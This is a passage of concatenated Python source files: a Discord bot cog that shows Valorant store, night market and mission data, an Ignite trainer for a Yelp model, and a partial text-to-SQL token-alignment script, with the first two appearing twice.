daily_end = '' weekly_end = data['MissionMetadata']['WeeklyRefillTime'] def get_mission_by_id(ID): data = data_read('missions') mission = data['missions'][ID] return mission for m in mission: mission = get_mission_by_id(m['ID']) *complete, = m['Objectives'].values() title = mission['title'] progress = mission['progress'] xp = mission['xp'] format_m = f"\n{title} | + {xp:,} XP\n- {complete[0]}/{progress}" if mission['type'] == 'EAresMissionType::Weekly': weekly.append(format_m) if mission['type'] == 'EAresMissionType::Daily': daily_end = m['ExpirationTime'] daily.append(format_m) daily_format = ''.join(daily) weekly_format = ''.join(weekly) embed = discord.Embed(title=f"**Missions** | {user["IGN"]}", color=0xfd4554) embed.add_field(name='**Daily Missions**', value=f"{daily_format}\nEnd(s) at {format_dt(iso_to_time(daily_end), "R")}", inline=False) embed.add_field(name='**Weekly Missions**', value=f"{weekly_format}\nRefills {format_dt(iso_to_time(weekly_end), "R")}", inline=False) await ctx.respond(embed=embed) @slash_command(name="nightmarket", description="Shows your nightmarket in your account") async def night(self, ctx, username: Option(str, "Input username (temp login)", required=False), password: Option(str, "Input password (temp login)", required=False)): is_private = False if username is not None or password is not None: is_private = True await ctx.defer(ephemeral=is_private) if username and password: puuid, headers, region, ign = Auth(username, password).temp_auth() # fetch_skin_for_quick_check try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(region=region, headers=headers) except KeyError: fetch_price(region=region, headers=headers) nightmarket, duration = VALORANT_API().temp_night(puuid, headers, region) riot_name = ign elif username or password: raise commands.CommandError("An unknown error occurred, sorry") else: data = Auth(user_id=ctx.author.id).get_users() riot_name = data['IGN'] nightmarket, duration = VALORANT_API(str(ctx.author.id)).store_fetch_nightmarket() try: embed = discord.Embed(color=0xfd4554) embed.description = f"**NightMarket for {riot_name}** | Remaining {format_dt((datetime.utcnow() + timedelta(seconds=duration)), "R")}" skin1 = nightmarket['skin1'] skin2 = nightmarket['skin2'] skin3 = nightmarket['skin3'] skin4 = nightmarket['skin4'] skin5 = nightmarket['skin5'] skin6 = nightmarket['skin6'] embed1 = night_embed(skin1['uuid'], skin1['name'], skin1['price'], skin1['disprice']) embed2 = night_embed(skin2['uuid'], skin2['name'], skin2['price'], skin2['disprice']) embed3 = night_embed(skin3['uuid'], skin3['name'], skin3['price'], skin3['disprice']) embed4 = night_embed(skin4['uuid'], skin4['name'], skin4['price'], skin4['disprice']) embed5 = night_embed(skin5['uuid'], skin5['name'], skin5['price'], skin5['disprice']) embed6 = night_embed(skin6['uuid'], skin6['name'], skin6['price'], skin6['disprice']) await ctx.respond(embeds=[embed, embed1, embed2, embed3, embed4, embed5, embed6]) except Exception as e: print(e) raise commands.CommandError("An unknown error occurred, sorry") def setup(bot): bot.add_cog(valorant(bot))
# Standard import discord from discord.commands import slash_command, Option from discord.ext import commands from difflib import get_close_matches from datetime import datetime, timedelta # Local from utils.json_loader import * from utils.view import * from utils.cache import * from utils.emoji import * from utils.auth import Auth from utils.api_endpoint import VALORANT_API from utils.pillow import generate_image from utils.embed import embed_design_giorgio, pillow_embed, night_embed class valorant(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_ready(self): print(f'-{self.__class__.__name__}') @commands.Cog.listener() async def on_application_command_error(self, ctx, error): embed = discord.Embed(color=0xfe676e) if isinstance(error, discord.ApplicationCommandInvokeError): error = error.original else: error = f"An unknown error occurred, sorry" embed.description = f'{str(error)[:2000]}' await ctx.respond(embed=embed, ephemeral=True) @slash_command(description="Shows your daily store in your accounts") async def store(self, ctx, username: Option(str, "Input username (temp login)", required=False), password: Option(str, "Input password (temp login)", required=False)): is_private = False if username is not None or password is not None: is_private = True await ctx.defer(ephemeral=is_private) if username and password: puuid, headers, region, ign = Auth(username, password).temp_auth() # fetch_skin_for_quick_check try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(region=region, headers=headers) except KeyError: fetch_price(region=region, headers=headers) skin_list = VALORANT_API().temp_store(puuid, headers, region) riot_name = ign elif username or password: raise commands.CommandError("An unknown error occurred, sorry") else: data = Auth(user_id=ctx.author.id).get_users() try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(user_id=ctx.author.id) except KeyError: fetch_price(user_id=ctx.author.id) skin_list = VALORANT_API(str(ctx.author.id)).get_store_offer() riot_name = data['IGN'] config = config_read() design = config['embed_design'] if design == 'ꜱᴛᴀᴄɪᴀ.#7475': embed = pillow_embed(riot_name, ctx.author, skin_list['duration']) file = generate_image(skin_list) await ctx.respond(embed=embed, file=file) elif design == 'Giorgio#0609': # https://github.com/giorgi-o/ try: embed = discord.Embed(color=0xfd4554) embed.description = f"Daily store for **{riot_name}** | Remaining {format_dt((datetime.utcnow() + timedelta(seconds=skin_list['duration'])), 'R')}" skin1 = skin_list['skin1'] skin2 = skin_list['skin2'] skin3 = skin_list['skin3'] skin4 = skin_list['skin4'] embed1 = embed_design_giorgio(skin1['uuid'], skin1['name'], skin1['price'], skin1['icon']) embed2 = embed_design_giorgio(skin2['uuid'], skin2['name'], skin2['price'], skin2['icon']) embed3 = embed_design_giorgio(skin3['uuid'], skin3['name'], skin3['price'], skin3['icon']) embed4 = embed_design_giorgio(skin4['uuid'], skin4['name'], skin4['price'], skin4['icon']) await ctx.respond(embeds=[embed, embed1, embed2, embed3, embed4]) except Exception as e: print(e) raise commands.CommandError("An unknown error occurred, sorry") @slash_command(description="Log in with your Riot acoount") async def login(self, ctx, username: Option(str, "Input username"), password: Option(str, "Input password")): create_json('users', {}) auth = Auth(username, password, str(ctx.author.id)) login = auth.authenticate() if login['auth'] == 'response': await ctx.defer(ephemeral=True) auth.get_entitlements_token() auth.get_userinfo() auth.get_region() data = data_read('users') embed = discord.Embed(color=0xfd4554, description='Successfully logged in as **{}**!'.format(data[str(ctx.author.id)]['IGN'])) await ctx.respond(embed=embed) elif login['auth'] == '2fa': error = login['error'] modal = TwoFA_UI(ctx, error) await ctx.send_modal(modal) else: raise commands.UserInputError('Your username or password may be incorrect!') @slash_command(name='logout', description="Logout and delete your accounts") async def logout(self, ctx): await ctx.defer(ephemeral=True) try: data = data_read('users') del data[str(ctx.author.id)] data_save('users', data) embed = discord.Embed(description='You have been logged out bot', color=0xfd4554) return await ctx.respond(embed=embed, ephemeral=True) except KeyError: raise commands.UserInputError("I can't logout you if you're not registered!") except Exception: raise commands.UserInputError("I can't logout you") @slash_command(description="Set an notify for when a particular skin is in your store") async def notify(self, ctx, skin: Option(str, "The name of the skin you want to notify")): await ctx.defer() # get_user user_id = ctx.author.id Auth(user_id=user_id).get_users() await setup_emoji(ctx) create_json('notifys', []) skindata = data_read('skins') skindata['skins'].pop('version') name_list = [skindata['skins'][x]['name'] for x in skindata['skins']] skin_name = get_close_matches(skin, name_list, 1) if skin_name: notify_data = data_read('notifys') find_skin = [x for x in skindata['skins'] if skindata['skins'][x]['name'] == skin_name[0]] skin_uuid = find_skin[0] skin_source = skindata['skins'][skin_uuid] name = skin_source['name'] icon = skin_source['icon'] uuid = skin_source['uuid'] emoji = get_emoji_tier(skin_uuid) for skin in notify_data: author = skin['id'] uuid = skin['uuid'] if author == str(user_id) and uuid == skin_uuid: raise RuntimeError(f'{emoji} **{name}** is already in your Notify') data_add = { "id": str(ctx.author.id), "uuid": skin_uuid, "channel_id": ctx.channel.id } notify_data.append(data_add) data_save('notifys', notify_data) embed = discord.Embed(description=f'Successfully set an notify for the {emoji} **{name}**', color=0xfd4554) embed.set_thumbnail(url=icon) view = Notify(ctx.author.id, uuid, name) view.message = await ctx.respond(embed=embed, view=view) return raise RuntimeError("Not found skin") @slash_command(description="Shows all your skin notify") async def notifys(self, ctx): await ctx.defer(ephemeral=True) Auth(user_id=ctx.author.id).get_users() try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(user_id=ctx.author.id) except KeyError: fetch_price(user_id=ctx.author.id) view = Notify_list(ctx) await view.start() @slash_command(description="Change notify mode") async def notify_mode(self, ctx, mode: Option(str, "Choose notify mode (default = Spectified)", choices=['Spectified Skin','All Skin','Off'])): await ctx.defer(ephemeral=True) Auth(user_id=ctx.author.id).get_users() data = data_read('users') try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(user_id=ctx.author.id) except KeyError: fetch_price(user_id=ctx.author.id) embed = discord.Embed(color=0xfd4554) if mode == 'Spectified Skin': config = config_read() config["notify_mode"] = 'Spectified' config_save(config) embed.title = "**Changed notify mode** - Spectified" embed.description = "Use `/notify` to add skins to the notify list." embed.set_image(url='https://i.imgur.com/RF6fHRY.png') await ctx.respond(embed=embed) elif mode == 'All Skin': config = config_read() config["notify_mode"] = 'All' config_save(config) config_save(config) data[str(ctx.author.id)]['channel'] = ctx.channel.id data_save('users', data) embed.title = "**Changed notify mode** - All" embed.description = f"**Set Channel:** {ctx.channel.mention} for all notify" embed.set_image(url='https://i.imgur.com/Gedqlzc.png') await ctx.respond(embed=embed) else: config = config_read() config["notify_mode"] = False config_save(config) embed.title = "**Changed notify mode** - Off" embed.description = 'turn off notify' await ctx.respond(embed=embed) @slash_command(description="Shows your valorant point in your accounts") async def point(self, ctx): await ctx.defer() user_id = ctx.author.id data = Auth(user_id=user_id).get_users() balances = get_valorant_point(str(user_id)) try: balances = get_valorant_point(str(user_id)) vp = balances["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"] rad = balances["e59aa87c-4cbf-517a-5983-6e81511be9b7"] except: raise commands.UserInputError("Can't fetch point") embed = discord.Embed(title=f"{data['IGN']} Points:",color=0xfd4554) embed.add_field(name='Valorant Points',value=f"{points['vp']} {vp}", inline=True) embed.add_field(name='Radianite points',value=f"{points['rad']} {rad}", inline=True) await ctx.respond(embed=embed) @slash_command(description="Shows your daily/weelky mission") async def mission(self, ctx): await ctx.defer() user = Auth(user_id=ctx.author.id).get_users() data = VALORANT_API(str(ctx.author.id)).fetch_mission() mission = data["Missions"] def iso_to_time(iso): timestamp = datetime.strptime(iso, "%Y-%m-%dT%H:%M:%S%z").timestamp() time = datetime.utcfromtimestamp(timestamp) return time weekly = [] daily = [] daily_end = '' weekly_end = data['MissionMetadata']['WeeklyRefillTime'] def get_mission_by_id(ID): data = data_read('missions') mission = data['missions'][ID] return mission for m in mission: mission = get_mission_by_id(m['ID']) *complete, = m['Objectives'].values() title = mission['title'] progress = mission['progress'] xp = mission['xp'] format_m = f"\n{title} | + {xp:,} XP\n- {complete[0]}/{progress}" if mission['type'] == 'EAresMissionType::Weekly': weekly.append(format_m) if mission['type'] == 'EAresMissionType::Daily': daily_end = m['ExpirationTime'] daily.append(format_m) daily_format = ''.join(daily) weekly_format = ''.join(weekly) embed = discord.Embed(title=f"**Missions** | {user['IGN']}", color=0xfd4554) embed.add_field(name='**Daily Missions**', value=f"{daily_format}\nEnd(s) at {format_dt(iso_to_time(daily_end), 'R')}", inline=False) embed.add_field(name='**Weekly Missions**', value=f"{weekly_format}\nRefills {format_dt(iso_to_time(weekly_end), 'R')}", inline=False) await ctx.respond(embed=embed) @slash_command(name="nightmarket", description="Shows your nightmarket in your account") async def night(self, ctx, username: Option(str, "Input username (temp login)", required=False), password: Option(str, "Input password (temp login)", required=False)): is_private = False if username is not None or password is not None: is_private = True await ctx.defer(ephemeral=is_private) if username and password: puuid, headers, region, ign = Auth(username, password).temp_auth() # fetch_skin_for_quick_check try: skin_data = data_read('skins') if skin_data['prices']["version"] != self.bot.game_version: fetch_price(region=region, headers=headers) except KeyError: fetch_price(region=region, headers=headers) nightmarket, duration = VALORANT_API().temp_night(puuid, headers, region) riot_name = ign elif username or password: raise commands.CommandError("An unknown error occurred, sorry") else: data = Auth(user_id=ctx.author.id).get_users() riot_name = data['IGN'] nightmarket, duration = VALORANT_API(str(ctx.author.id)).store_fetch_nightmarket() try: embed = discord.Embed(color=0xfd4554) embed.description = f"**NightMarket for {riot_name}** | Remaining {format_dt((datetime.utcnow() + timedelta(seconds=duration)), 'R')}" skin1 = nightmarket['skin1'] skin2 = nightmarket['skin2'] skin3 = nightmarket['skin3'] skin4 = nightmarket['skin4'] skin5 = nightmarket['skin5'] skin6 = nightmarket['skin6'] embed1 = night_embed(skin1['uuid'], skin1['name'], skin1['price'], skin1['disprice']) embed2 = night_embed(skin2['uuid'], skin2['name'], skin2['price'], skin2['disprice']) embed3 = night_embed(skin3['uuid'], skin3['name'], skin3['price'], skin3['disprice']) embed4 = night_embed(skin4['uuid'], skin4['name'], skin4['price'], skin4['disprice']) embed5 = night_embed(skin5['uuid'], skin5['name'], skin5['price'], skin5['disprice']) embed6 = night_embed(skin6['uuid'], skin6['name'], skin6['price'], skin6['disprice']) await ctx.respond(embeds=[embed, embed1, embed2, embed3, embed4, embed5, embed6]) except Exception as e: print(e) raise commands.CommandError("An unknown error occurred, sorry") def setup(bot): bot.add_cog(valorant(bot))
#!/usr/bin/env python import csv from pathlib import Path from ignite.engine import Events, create_supervised_trainer, create_supervised_evaluator from ignite.metrics import RunningAverage from ignite.handlers import EarlyStopping, ModelCheckpoint class YelpTrainer(object): def __init__(self, model_bundle, data_bundle, args, pbar, metrics={}): # retrieve required params from args self.save_dir = args.save_dir self.patience = args.early_stopping_criteria self.n_epochs = args.num_epochs self.device = args.device self.prefix = args.checkpointer_prefix self.model_name = args.checkpointer_name # get model and data details self.module = model_bundle['module'] self.optimizer = model_bundle['optimizer'] self.scheduler = model_bundle['scheduler'] self.loss_fn = model_bundle['loss_fn'] self.train_dl = data_bundle['train_dl'] self.val_dl = data_bundle['val_dl'] # create trainers and evaluators self.trainer = create_supervised_trainer(self.module, self.optimizer, self.loss_fn, device=self.device) self.train_eval = create_supervised_evaluator(self.module, metrics=metrics, device=self.device) self.valid_eval = create_supervised_evaluator(self.module, metrics=metrics, device=self.device) self.pbar = pbar self.metrics_file = Path(self.save_dir/'metrics.csv') # set loss to be shown in progress bar RunningAverage(output_transform=lambda x: x).attach(self.trainer, 'loss') self.pbar.attach(self.trainer, ['loss']) # setup early stopping and checkpointer early_stopping = EarlyStopping(patience=self.patience, score_function=self.score_fn, trainer=self.trainer) checkpointer = ModelCheckpoint(self.save_dir, self.prefix, require_empty=False, save_interval=2, n_saved=5, save_as_state_dict=True) # add all the event handlers self.trainer.add_event_handler(Events.STARTED, self.open_csv) self.trainer.add_event_handler(Events.EPOCH_COMPLETED, self.log_epoch) self.trainer.add_event_handler(Events.EPOCH_COMPLETED, checkpointer, {self.model_name: self.module}) self.trainer.add_event_handler(Events.COMPLETED, self.close_csv) self.valid_eval.add_event_handler(Events.COMPLETED, early_stopping) self.valid_eval.add_event_handler(Events.COMPLETED, self.scheduler_step) # self.trainer.add_event_handler(Events.ITERATION_COMPLETED, self.log_training_loss) def scheduler_step(self, engine): self.scheduler.step(engine.state.metrics['loss']) def open_csv(self, engine): self.fp = open(self.metrics_file, 'w') self.writer = csv.writer(self.fp) row = ['epoch', 'training_loss', 'training_acc', 'validation_loss', 'validation_acc'] self.writer.writerow(row) def log_training_loss(self, engine): iteration = (engine.state.iteration-1) % len(self.train_dl) + 1 if iteration % 100 == 0: self.pbar.log_message(f"ITERATION - loss: {engine.state.output:0.4f}") def log_epoch(self, engine): self.train_eval.run(self.train_dl) self.valid_eval.run(self.val_dl) epoch = engine.state.epoch train_metric = self.train_eval.state.metrics valid_metric = self.valid_eval.state.metrics train_loss = f"{self.train_eval.state.metrics["loss"]:0.3f}" train_acc = f"{self.train_eval.state.metrics["accuracy"]:0.3f}" valid_loss = f"{self.valid_eval.state.metrics["loss"]:0.3f}" valid_acc = f"{self.valid_eval.state.metrics["accuracy"]:0.3f}" self.pbar.log_message(f"Epoch: {epoch}") self.pbar.log_message(f"Training - Loss: {train_loss}, Accuracy: {train_acc}") self.pbar.log_message(f"Validation - Loss: {valid_loss}, Accuracy: {valid_acc}") row = [epoch, f"{train_loss}", f"{train_acc}", f"{valid_loss}", f"{valid_acc}"] self.writer.writerow(row) def close_csv(self, engine): self.fp.close() def run(self): self.trainer.run(self.train_dl, self.n_epochs) @staticmethod def score_fn(engine): valid_loss = engine.state.metrics['loss'] return -valid_loss
#!/usr/bin/env python import csv from pathlib import Path from ignite.engine import Events, create_supervised_trainer, create_supervised_evaluator from ignite.metrics import RunningAverage from ignite.handlers import EarlyStopping, ModelCheckpoint class YelpTrainer(object): def __init__(self, model_bundle, data_bundle, args, pbar, metrics={}): # retrieve required params from args self.save_dir = args.save_dir self.patience = args.early_stopping_criteria self.n_epochs = args.num_epochs self.device = args.device self.prefix = args.checkpointer_prefix self.model_name = args.checkpointer_name # get model and data details self.module = model_bundle['module'] self.optimizer = model_bundle['optimizer'] self.scheduler = model_bundle['scheduler'] self.loss_fn = model_bundle['loss_fn'] self.train_dl = data_bundle['train_dl'] self.val_dl = data_bundle['val_dl'] # create trainers and evaluators self.trainer = create_supervised_trainer(self.module, self.optimizer, self.loss_fn, device=self.device) self.train_eval = create_supervised_evaluator(self.module, metrics=metrics, device=self.device) self.valid_eval = create_supervised_evaluator(self.module, metrics=metrics, device=self.device) self.pbar = pbar self.metrics_file = Path(self.save_dir/'metrics.csv') # set loss to be shown in progress bar RunningAverage(output_transform=lambda x: x).attach(self.trainer, 'loss') self.pbar.attach(self.trainer, ['loss']) # setup early stopping and checkpointer early_stopping = EarlyStopping(patience=self.patience, score_function=self.score_fn, trainer=self.trainer) checkpointer = ModelCheckpoint(self.save_dir, self.prefix, require_empty=False, save_interval=2, n_saved=5, save_as_state_dict=True) # add all the event handlers self.trainer.add_event_handler(Events.STARTED, self.open_csv) self.trainer.add_event_handler(Events.EPOCH_COMPLETED, self.log_epoch) self.trainer.add_event_handler(Events.EPOCH_COMPLETED, checkpointer, {self.model_name: self.module}) self.trainer.add_event_handler(Events.COMPLETED, self.close_csv) self.valid_eval.add_event_handler(Events.COMPLETED, early_stopping) self.valid_eval.add_event_handler(Events.COMPLETED, self.scheduler_step) # self.trainer.add_event_handler(Events.ITERATION_COMPLETED, self.log_training_loss) def scheduler_step(self, engine): self.scheduler.step(engine.state.metrics['loss']) def open_csv(self, engine): self.fp = open(self.metrics_file, 'w') self.writer = csv.writer(self.fp) row = ['epoch', 'training_loss', 'training_acc', 'validation_loss', 'validation_acc'] self.writer.writerow(row) def log_training_loss(self, engine): iteration = (engine.state.iteration-1) % len(self.train_dl) + 1 if iteration % 100 == 0: self.pbar.log_message(f"ITERATION - loss: {engine.state.output:0.4f}") def log_epoch(self, engine): self.train_eval.run(self.train_dl) self.valid_eval.run(self.val_dl) epoch = engine.state.epoch train_metric = self.train_eval.state.metrics valid_metric = self.valid_eval.state.metrics train_loss = f"{self.train_eval.state.metrics['loss']:0.3f}" train_acc = f"{self.train_eval.state.metrics['accuracy']:0.3f}" valid_loss = f"{self.valid_eval.state.metrics['loss']:0.3f}" valid_acc = f"{self.valid_eval.state.metrics['accuracy']:0.3f}" self.pbar.log_message(f"Epoch: {epoch}") self.pbar.log_message(f"Training - Loss: {train_loss}, Accuracy: {train_acc}") self.pbar.log_message(f"Validation - Loss: {valid_loss}, Accuracy: {valid_acc}") row = [epoch, f"{train_loss}", f"{train_acc}", f"{valid_loss}", f"{valid_acc}"] self.writer.writerow(row) def close_csv(self, engine): self.fp.close() def run(self): self.trainer.run(self.train_dl, self.n_epochs) @staticmethod def score_fn(engine): valid_loss = engine.state.metrics['loss'] return -valid_loss
import enum from json.tool import main import pickle from tkinter.tix import MAIN from tokenize import group import numpy as np import itertools import os import fcntl import json from tqdm import tqdm from transformers import AutoTokenizer from tokenizers import AddedToken from .transform_utils import mul_mul_match_changeOrder, get_idx_list_changeOrder, find_sep_mullen, find_all_sep_index_from_list, find_all_sep_pair_from_list, raise_key, merge_two_dict, decode_from_dict, decode_from_pair_dict, tokid2sent from .constants import MAX_RELATIVE_DIST from .get_relation2id_dict import get_relation2id_dict def match_question(t5_processed, dataset_lgesql, t5_tokenizer, lge_tokenizer, dataset_name, mode): err = 0 total_example = 0 t5_dataset_idx = 0 for lge_dataset_idx in tqdm(range(len(dataset_lgesql))): lge_aux_question_idx_list = get_idx_list_changeOrder(dataset_lgesql[lge_dataset_idx], dataset_name) for j, lge_aux_question_idx in enumerate(lge_aux_question_idx_list): t5_toks_ids = t5_processed[t5_dataset_idx] t5_dataset_idx += 1 t5_toks = [] for id in t5_toks_ids: w = t5_tokenizer.decode(id).replace("</s>", "") t5_toks.append(w.replace(" ", "")) aux_text = t5_toks aux_sep_list = find_all_sep_index_from_list(aux_text, "|") aux_text_list = [] aux_start = 0 for aux_sep in aux_sep_list[:len(lge_aux_question_idx)]: aux_text_list.append((aux_text[aux_start:aux_sep], aux_start, aux_sep)) aux_start = aux_sep + 1 for k, question_idx in enumerate(lge_aux_question_idx): total_example += 1 question_lgeid2t5id = {} t5_bias = 0 lge_r_question_toks = dataset_lgesql[lge_dataset_idx][f'ori_toks_{question_idx}'] if k == 0: sep = t5_toks.index("|") t5_toks_k = t5_toks[:sep] t5_bias = 0 t5_sep = sep else: try: t5_toks_k = aux_text_list[k][0] t5_bias = aux_text_list[k][1] t5_sep = aux_text_list[k][2] except: if (len(t5_toks)<512): err += 1 continue t5_toks_k = ([subword.replace("▁", "") for subword in t5_toks_k]) lge_r_question_toks = [lge_tokenizer.decode(lge_tokenizer.encode(r_question_toks)[:-1]) for r_question_toks in lge_r_question_toks] start = t5_sep toks_idx = len(lge_r_question_toks) while toks_idx > 0 and start > 0: append_t5_idx, append_q_idx = mul_mul_match_changeOrder(t5_toks[t5_bias:start], lge_r_question_toks[:toks_idx]) match_t5_id_list = [i for i in range(t5_bias+append_t5_idx, start)] match_q_id_list = [i for i in range(append_q_idx,toks_idx)] # print(t5_toks[t5_bias+append_t5_idx: start], lge_r_question_toks[append_q_idx:toks_idx]) # print(match_t5_id_list, match_q_id_list) for q_idx in match_q_id_list: question_lgeid2t5id[q_idx] = match_t5_id_list if append_t5_idx == -1 and append_q_idx == -1: if len(t5_toks) < 512: err+=1 print(lge_aux_question_idx_list) print(t5_dataset_idx, t5_toks_k[start:]) print(lge_dataset_idx, lge_r_question_toks[toks_idx:]) print(t5_tokenizer.decode(t5_toks_ids)) print(lge_r_question_toks) print(t5_toks_k) print(dataset_lgesql[lge_dataset_idx]['processed_text_list']) print() break else: start = t5_bias+append_t5_idx toks_idx = append_q_idx # wfile.write(str(lge_dataset_idx)+"\n"+str(lge_aux_question_idx_list)+"\n") # wfile.write(" ".join(lge_r_question_toks)+"\n") # wfile.write(" ".join(t5_toks)+"\n\n") # print(question_lgeid2t5id) dataset_lgesql[lge_dataset_idx][f"question_lgeid2t5id_{j}#{question_idx}"] = question_lgeid2t5id dataset_lgesql[lge_dataset_idx]["idx_list"] = lge_aux_question_idx_list dataset_lgesql[lge_dataset_idx][f"t5_toks_{j}"] = (t5_dataset_idx-1,t5_toks,t5_toks_ids) print(f"Question match errors: {err}/{total_example}") def match_table_and_column(dataset_lgesql, table_lgesql, t5_tokenizer): err = 0 total_example = 0 for lge_dataset_idx,item in tqdm(enumerate(dataset_lgesql)): lge_aux_question_idx_list = dataset_lgesql[lge_dataset_idx]["idx_list"] for j, lge_aux_question_idx in enumerate(lge_aux_question_idx_list): column_lgeid2t5id = {} table_lgeid2t5id = {} dbcontent_lgeid2dbt5id = {} t5_toks_ids = dataset_lgesql[lge_dataset_idx][f"t5_toks_{j}"][2] t5_toks = [] for id in t5_toks_ids: w = t5_tokenizer.decode(id).replace("</s>", "") t5_toks.append(w) t5_toks = ([subword for subword in t5_toks]) sep_idx_bias = len(lge_aux_question_idx)-1 sep_index_list = find_all_sep_index_from_list(t5_toks, "|") sep_index_list = sep_index_list[sep_idx_bias:] db_name = "".join([w for w in t5_toks[sep_index_list[0]+1:sep_index_list[1]]]) dataset_lgesql[lge_dataset_idx][f"db_name_{j}"] = db_name column_lgeid2t5id[0] = [i for i in range(sep_index_list[0]+1, sep_index_list[1])] lge_table = table_lgesql[db_name]['table_names'] lge_table = [i.replace(" ", "_") for i in lge_table] lge_column = table_lgesql[db_name]['column_names'] lge_column = [i[1].replace(" ", "_") for i in lge_column] lge_column_index = [i[0] for i in lge_column] lge_table_ori = [item.lower() for item in table_lgesql[db_name]['table_names_original']] lge_column_ori = [item[1].replace(" ", "").lower() for item in table_lgesql[db_name]['column_names_original']] lge_column_ori_index = [i[0] for i in table_lgesql[db_name]['column_names_original']] flag = True for idx in range(1,len(sep_index_list)-1): item = [w for w in t5_toks[sep_index_list[idx]+1:sep_index_list[idx+1]]] table_bias = sep_index_list[idx]+1 try: tb_col_sep_index = item.index(":") except: tb_col_sep_index = len(item) table = "".join([w for w in t5_toks[table_bias: table_bias+tb_col_sep_index]]) try: lge_tb_idx = lge_table.index(table) lge_table[lge_tb_idx] = "[None]" # lge_table_ori[lge_tb_idx] = "[None]" except: try: lge_tb_idx = lge_table_ori.index(table) # lge_table[lge_tb_idx] = "[None]" lge_table_ori[lge_tb_idx] = "[None]" except: if tb_col_sep_index != len(item): flag = False continue table_lgeid2t5id[lge_tb_idx] = [i for i in range(table_bias, table_bias+tb_col_sep_index)] db_content_bracket = find_all_sep_pair_from_list(item, "[", "]")[:-1] db_change_index_list = [] if len(db_content_bracket)>0: for pair in db_content_bracket: pair_i, pair_j = pair for index in range(pair_i, pair_j): if item[index] == ",": item[index] = "~" db_change_index_list.append(index) column_sep_index_list = find_all_sep_index_from_list(item, ",") for index in db_change_index_list: item[index] = "," column_sep_index_list.insert(0, tb_col_sep_index) column_bias = table_bias for col_idx in range(1, len(column_sep_index_list)): col_lidx = column_bias+column_sep_index_list[col_idx-1]+1 col_ridx = column_bias+column_sep_index_list[col_idx] col = t5_toks[col_lidx: col_ridx] db_content_lbracket = find_all_sep_index_from_list(col, "[")[:-1] db_content_rbracket = find_all_sep_index_from_list(col, "]") db_t5toks_list = [] if len(db_content_lbracket) > 0: db_content_lbracket = db_content_lbracket[0] db_content_rbracket = db_content_rbracket[0] if col[db_content_rbracket-1] != "": continue db_content = col[db_content_lbracket+1:db_content_rbracket] db_sep_index_list = find_all_sep_index_from_list(db_content, ";") start = 0 db_bias = db_content_lbracket+1+col_lidx for db_idx in db_sep_index_list: db_t5toks_list.append([i for i in range(start+db_bias, db_idx+db_bias)]) start = db_idx + 1 col = col[:db_content_lbracket] col_ridx = col_lidx + len(col) col = "".join(col) if len(col) == 0: continue try: lge_column_idx = lge_column_ori.index(col) column_lgeid2t5id[lge_column_idx] = [i for i in range(col_lidx,col_ridx)] dbcontent_lgeid2dbt5id[lge_column_idx] = db_t5toks_list lge_column[lge_column_idx] = "[None]" lge_column_ori[lge_column_idx] = "[None]" except: t5_columns = col.split(",") for t5_col in t5_columns: try: lge_column_idx = lge_column_ori.index(t5_col) column_lgeid2t5id[lge_column_idx] = [i for i in range(col_lidx,col_ridx)] dbcontent_lgeid2dbt5id[lge_column_idx] = db_t5toks_list lge_column[lge_column_idx] = "[None]" lge_column_ori[lge_column_idx] = "[None]" except: if col_ridx != len(t5_toks): flag = False continue if (not flag): print(repr(col)) print(column_sep_index_list) print(t5_toks[col_lidx: col_ridx]) print(" ".join(t5_toks)) print(lge_column) print(lge_column_ori) print(column_lgeid2t5id) err += 1 total_example += 1 dataset_lgesql[lge_dataset_idx][f"column_lgeid2t5id_{j}"] = column_lgeid2t5id dataset_lgesql[lge_dataset_idx][f"table_lgeid2t5id_{j}"] = table_lgeid2t5id dataset_lgesql[lge_dataset_idx][f"dbcontent_lgeid2dbt5id_{j}"] = dbcontent_lgeid2dbt5id print(f"DB match errors: {err}/{total_example}") def generate_relations_between_questions(relation, lge_aux_question_idx, dataset_lgesql_item, RELATION2ID_DICT, j): question_t5_id_dict = {} for k, question_idx in enumerate(lge_aux_question_idx): if f"question_lgeid2t5id_{j}#{question_idx}" not in dataset_lgesql_item.keys() or len(dataset_lgesql_item[f"question_lgeid2t5id_{j}#{question_idx}"])==0: continue question_lgeid2t5id = dataset_lgesql_item[f"question_lgeid2t5id_{j}#{question_idx}"] t5_id_list = sorted([t5_ids for t5_ids in question_lgeid2t5id.values()]) question_t5_id_dict[question_idx] = t5_id_list for id_list_i in question_t5_id_dict.values(): for id_list_j in question_t5_id_dict.values(): min_i, max_i = id_list_i[0][0], id_list_i[-1][-1] min_j, max_j = id_list_j[0][0], id_list_j[-1][-1] relation[min_i:max_i+1, min_j:max_j+1]=RELATION2ID_DICT["question-question-generic"] for question_idx in range(1, len(lge_aux_question_idx)): if (question_idx-1 not in question_t5_id_dict.keys() or question_idx not in question_t5_id_dict): continue last_t5_ids = question_t5_id_dict[question_idx-1][-MAX_RELATIVE_DIST:] pre_t5_ids = question_t5_id_dict[question_idx][:MAX_RELATIVE_DIST] for last_t5_idx in range(len(last_t5_ids)): for pre_t5_idx in range(len(pre_t5_ids)): distance = pre_t5_idx + len(last_t5_ids)-last_t5_idx if distance <= MAX_RELATIVE_DIST: for pair_i, pair_j in itertools.product(last_t5_ids[last_t5_idx], pre_t5_ids[pre_t5_idx]): relation[pair_i][pair_j] = RELATION2ID_DICT[f"question-question-dist{distance}"] relation[pair_j][pair_i] = RELATION2ID_DICT[f"question-question-dist{-distance}"] def remove_notused_coref(lge_aux_question_idx, coref_dataset): used_coref_dataset = {} # print(coref_dataset) for group_key in coref_dataset["coref"].keys(): new_group_list = [] for group_item_list in coref_dataset["coref"][group_key]["group"]: new_group_item_list = [] for item in group_item_list: if item["turn"] in lge_aux_question_idx: new_group_item_list.append(item) if len(new_group_item_list) >= 1: new_group_list.append(new_group_item_list) if len(new_group_list) >= 2: used_coref_dataset[group_key] = new_group_list # used_set = coref_dataset["coref"][group_key]["used_turn"] # for turn in used_set: # if turn not in lge_aux_question_idx: # flag = False # break # if flag: # used_coref_dataset[group_key] = coref_dataset["coref"][group_key] # print(coref_dataset) # 